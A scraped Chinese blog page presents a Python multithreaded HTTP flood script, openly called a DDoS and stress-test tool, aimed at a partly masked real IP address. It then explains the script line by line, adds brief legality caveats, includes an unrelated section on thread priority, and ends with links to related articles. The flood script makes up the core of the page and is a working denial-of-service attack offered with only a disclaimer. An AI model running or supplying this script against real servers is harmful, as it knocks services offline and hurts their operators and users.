当前位置: 首页 > news >正文

基于python的一个简单的压力测试(DDoS)脚本

DDoS测试脚本

声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关

源码

import requests
import threading# 目标URL
target_url = "http://47.121.xxx.xxx/"# 发送请求的函数
def send_request():while True:try:response = requests.get(target_url)print(f"Sent request to {target_url}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Error: {e}")# 创建多个线程进行攻击
def start_attack(thread_counts):threads = []for i in range(thread_counts):thread = threading.Thread(target=send_request)threads.append(thread)thread.start()for thread in threads:thread.join()if __name__ == "__main__":# 设置线程数量thread_count = 10start_attack(thread_count)

源码解析

代码结构

  1. 导入模块

    import requests
    import threading
    
    • requests 模块用于发送HTTP请求。

    • threading 模块用于创建和管理线程。

  2. 定义目标URL

    target_url = "http://47.121.xxx.xxx/"
    
    • 这里指定了要发送请求的目标URL。

  3. 发送请求的函数

    def send_request():while True:try:response = requests.get(target_url)print(f"Sent request to {target_url}, Status Code: {response.status_code}")except requests.exceptions.RequestException as e:print(f"Error: {e}")
    
    • send_request 函数在一个无限循环中不断发送HTTP GET请求到目标URL。

    • 使用 try-except 块捕获可能的请求异常,并打印错误信息。

  4. 创建多个线程进行攻击

    def start_attack(thread_counts):threads = []for i in range(thread_counts):thread = threading.Thread(target=send_request)threads.append(thread)thread.start()for thread in threads:thread.join()
    
    • start_attack 函数接受一个参数 thread_counts,表示要创建的线程数量。

    • 使用一个循环创建指定数量的线程,每个线程的目标函数是 send_request

    • 启动所有线程后,使用 join 方法等待所有线程完成。

  5. 主程序入口

    if __name__ == "__main__":# 设置线程数量thread_count = 10start_attack(thread_count)
    
    • 在主程序入口处,设置线程数量为10,并调用 start_attack 函数启动攻击。

功能描述

  • 该脚本的主要功能是对指定的目标URL进行高并发的HTTP GET请求。

  • 通过创建多个线程,每个线程不断发送请求,从而实现对目标服务器的压力测试或DDoS攻击。

注意事项

  • 合法性:这种行为可能违反目标服务器的使用条款,甚至可能触犯法律。未经授权进行此类操作是非法的,请务必确保在合法授权的情况下进行。

  • 道德性:即使有授权,也应考虑对目标服务器的影响,避免对其造成不必要的负担或损害。

安全建议

  • 避免滥用:不要将此类脚本用于恶意目的,如DDoS攻击。

  • 合理使用:仅在合法授权的情况下,用于性能测试或安全评估。

  • 监控与控制:在实际使用中,应设置合理的请求频率和线程数量,避免对目标服务器造成过大压力。

总之,这段代码展示了如何使用Python进行多线程HTTP请求,但在实际使用中应严格遵守法律法规和道德准则。

多线程的优先级调用

在 Python 中,线程优先级通常不由开发者直接设置,而是依赖于操作系统的线程调度机制。Python 的 threading 模块并没有提供直接设置线程优先级的功能。不过,你可以使用 os 模块中的 nice() 函数来尝试影响线程的优先级,但这通常只在 Unix/Linux 系统上有效,并且这种影响是有限的。

以下是一个示例,展示如何在 Unix/Linux 系统上使用 os.nice() 来尝试调整线程的优先级:

import threading
import os
import timedef worker():while True:print(f"Thread {threading.current_thread().name} is running")time.sleep(1)# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")# 设置线程的优先级(仅适用于 Unix/Linux)
try:# 设置线程的 nice 值为 10(较低的优先级)os.nice(10)
except AttributeError:print("Setting thread priority is not supported on this platform.")# 启动线程
t.start()# 主线程等待一段时间后退出
time.sleep(5)

在这个示例中,我们创建了一个新线程并尝试使用 os.nice() 来设置其优先级。需要注意的是,os.nice() 影响的是进程的优先级,而不是单个线程的优先级。在 Unix/Linux 系统上,Python 线程实际上是共享同一个进程的,因此 os.nice() 会影响整个进程及其所有线程。

如果你需要在 Windows 系统上设置线程优先级,可以使用 threading.ThreadsetPriority() 方法(这是一个非标准的扩展,只在某些版本的 Python 中可用),或者使用 ctypes 库来调用 Windows API。

以下是一个在 Windows 上使用 ctypes 设置线程优先级的示例:

import threading
import ctypes
import time# 定义线程优先级常量
THREAD_PRIORITY_LOWEST = 19def set_thread_priority(thread, priority):"""设置线程的优先级"""ctypes.windll.kernel32.SetThreadPriority(ctypes.c_long(thread.ident), priority)def worker():while True:print(f"Thread {threading.current_thread().name} is running")time.sleep(1)# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")# 启动线程
t.start()# 设置线程的优先级
set_thread_priority(t, THREAD_PRIORITY_LOWEST)# 主线程等待一段时间后退出
time.sleep(5)

在这个示例中,我们使用 ctypes 库调用 Windows API 来设置线程的优先级。这种方法更为复杂,但提供了更细粒度的控制。

需要注意的是,调整线程优先级可能会影响程序的性能和响应性,因此应谨慎使用,并确保充分测试。

相关文章:

基于python的一个简单的压力测试(DDoS)脚本

DDoS测试脚本 声明:本文所涉及代码仅供学习使用,任何人利用此造成的一切后果与本人无关 源码 import requests import threading# 目标URL target_url "http://47.121.xxx.xxx/"# 发送请求的函数 def send_request():while True:try:respo…...

基于 Spring Boot 实现图片的服务器本地存储及前端回显

??导读:本文探讨了在网站开发中图片存储的各种方法,包括本地文件系统存储、对象存储服务(如阿里云OSS)、数据库存储、分布式文件系统及内容分发网络(CDN)。文中详细对比了这些方法的优缺点,并…...

深入 TCP VJ-Style

接着 TCP 的文化内涵 继续扯一会儿。 自 30 instruction TCP receive 往前追溯,论文 Jacobson88 源自第一次拥塞崩溃,这篇著名文档在同时期的另一个缘起是另一篇考古文献 [Zhang86] Why TCP Timers Don’t Work Well,后面这篇文献提出了 TCP…...

go高性能单机缓存项目

代码 // Copyright 2021 ByteDance Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apach…...

数据结构绪论

文章目录 绪论数据结构三要素算法 🏡作者主页:点击! 🤖数据结构专栏:点击! ⏰️创作时间:2024年12月12日01点09分 绪论 数据是信息的载体,描述客观事物属性的数、字符及所有能输入…...

前端开发常用四大框架学习难度咋样?

前端开发常用四大框架指的是 jQuery vue react angular ‌jQuery‌: ‌学习难度‌:相对较低‌特点‌:jQuery 是一个快速、小巧、功能丰富的 JavaScript 库。它使得 HTML 文档遍历和操作、事件处理、动画和 Ajax 交互更加简单。‌适用场景‌&a…...

OWASP 十大安全漏洞的原理

1. Broken Access Control(访问控制失效) 原理:应用程序未正确实施权限检查,导致攻击者通过篡改请求、强制浏览或权限提升等手段绕过访问控制。 攻击手段: 修改 URL、HTML、或 API 请求以访问未经授权的资源。 删除…...

论文 | ChunkRAG: Novel LLM-Chunk Filtering Method for RAG Systems

本文详细介绍了一种新颖的检索增强生成(Retrieval-Augmented Generation, RAG)系统方法——ChunkRAG,该方法通过对文档的分块语义分析和过滤显著提升了生成系统的准确性和可靠性。 1. 研究背景与问题 1.1 检索增强生成的意义 RAG系统结合…...

ORACLE SQL思路: 多行数据有相同字段就合并成一条数据 分页展示

数据 分数表: 学号,科目名(A,B,C),分数 需求 分页列表展示, 如果一个学号的科目有相同的分数, 合并成一条数据,用 拼接 科目名 ORACLE SQL 实现 SELECT Z.*, SUBSTR(DECODE(f…...

SpringBoot 手动实现动态切换数据源 DynamicSource (中)

大家好,我是此林。 SpringBoot 手动实现动态切换数据源 DynamicSource (上)-CSDN博客 在上一篇博客中,我带大家手动实现了一个简易版的数据源切换实现,方便大家理解数据源切换的原理。今天我们来介绍一个开源的数据源…...

y3编辑器教学5:触发器2 案例演示

文章目录 一、探索1.1 ECA1.1.1 ECA的定义1.1.2 使用触发器实现瞬间移动效果 1.2 变量1.2.1 什么是变量1.2.2 使用变量存储碎片收集数量并展现 1.3 if语句(魔法效果挂接)1.3.1 地形设置1.3.2 编写能量灌注逻辑1.3.3 编写能量灌注后,实现传送逻…...

数值分析——插值法(二)

文章目录 前言一、Hermite插值1.两点三次Hermite插值2.两点三次Hermite插值的推广3.非标准型Hermite插值 二、三次样条插值1.概念2.三弯矩方程 前言 之前写过Lagrange插值与Newton插值法的内容,这里介绍一些其他的插值方法,顺便复习数值分析. 一、Hermi…...

杨振宁大学物理视频中黄色的字,c#写程序去掉

先看一下效果:(还有改进的余地) 写了个程序消除杨振宁大学物理中黄色的字 我的方法是笨方法,也比较刻板。 1,首先想到,把屏幕打印下来。c#提供了这样一个函数: Bitmap bmp new Bitmap(640, 48…...

uni-app 设置缓存过期时间【跨端开发系列】

🔗 uniapp 跨端开发系列文章:🎀🎀🎀 uni-app 组成和跨端原理 【跨端开发系列】 uni-app 各端差异注意事项 【跨端开发系列】uni-app 离线本地存储方案 【跨端开发系列】uni-app UI库、框架、组件选型指南 【跨端开…...

微信小程序base64图片与临时路径互相转换

1、base64图片转临时路径 /*** 将base64图片转临时路径* param {*} dataurl* param {*} filename* returns*/base64ImgToFile(dataurl, filename "file") {const base64 dataurl; // base64码const time new Date().getTime();const imgPath wx.env.USER_DATA_P…...

蓝桥杯刷题——day2

蓝桥杯刷题——day2 题目一题干题目解析代码 题目二题干解题思路代码 题目一 题干 三步问题。有个小孩正在上楼梯,楼梯有n阶台阶,小孩一次可以上1阶、2阶或3阶。实现一种方法,计算小孩有多少种上楼梯的方式。结果可能很大,你需要…...

5.删除链表的倒数第N个节点

19.删除链表的倒数第N个节点 题目: 19. 删除链表的倒数第 N 个结点 - 力扣(LeetCode) 分析: 要删除倒数第几个节点,那么我们需要怎么做呢?我们需要定义两个指针,快指针和慢指针,…...

自己总结:selenium高阶知识

全篇大概10000字(含代码),建议阅读时间30min 一、等待机制 如果有一些内容是通过Ajax加载的内容,那就需要等待内容加载完毕才能进行下一步操作。 为了避免人为操作等待,会遇到的问题, selenium将等待转换…...

前端怎么预览pdf

1.背景 后台返回了一个在线的pdf地址,需要我这边去做一个pdf的预览(需求1),并且支持配置是否可以下载(需求2),需要在当前页就能预览(需求3)。之前我写过一篇预览pdf的文…...

activemq 的安装部署

下载 https://activemq.apache.org/components/classic/download/# 在/opt目录下载 wget https://dlcdn.apache.org//activemq/5.18.6/apache-activemq-5.18.6-bin.tar.gz解压 tar -zxvf apache-activemq-5.18.6-bin.tar.gz配置java环境 vim /opt/apache-activemq-5.18.6/b…...

基于ASP.NET+ SQL Server实现(Web)医院信息管理系统

医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis?2.为什么要使用redis作为mysql的缓存?3.什么是缓存雪崩、缓存穿透、缓存击穿?3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业,项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升,传统的管理模式已经难以满足现代工程的需求。过去,许多企业依赖手工记录、口头沟通和分散的信息管理,导致效率低下、成本失控、风险频发。例如&#…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器,其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机(Virtual Host)。 1. 简介 Nginx 使用 server_name 指令来确定…...

Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式

点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...

PL0语法,分析器实现!

简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

2023赣州旅游投资集团

单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

AI病理诊断七剑下天山,医疗未来触手可及

一、病理诊断困局:刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断",医生需通过显微镜观察组织切片,在细胞迷宫中捕捉癌变信号。某省病理质控报告显示,基层医院误诊率达12%-15%,专家会诊…...

JavaScript基础-API 和 Web API

在学习JavaScript的过程中,理解API(应用程序接口)和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能,使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...

并发编程 - go版

1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...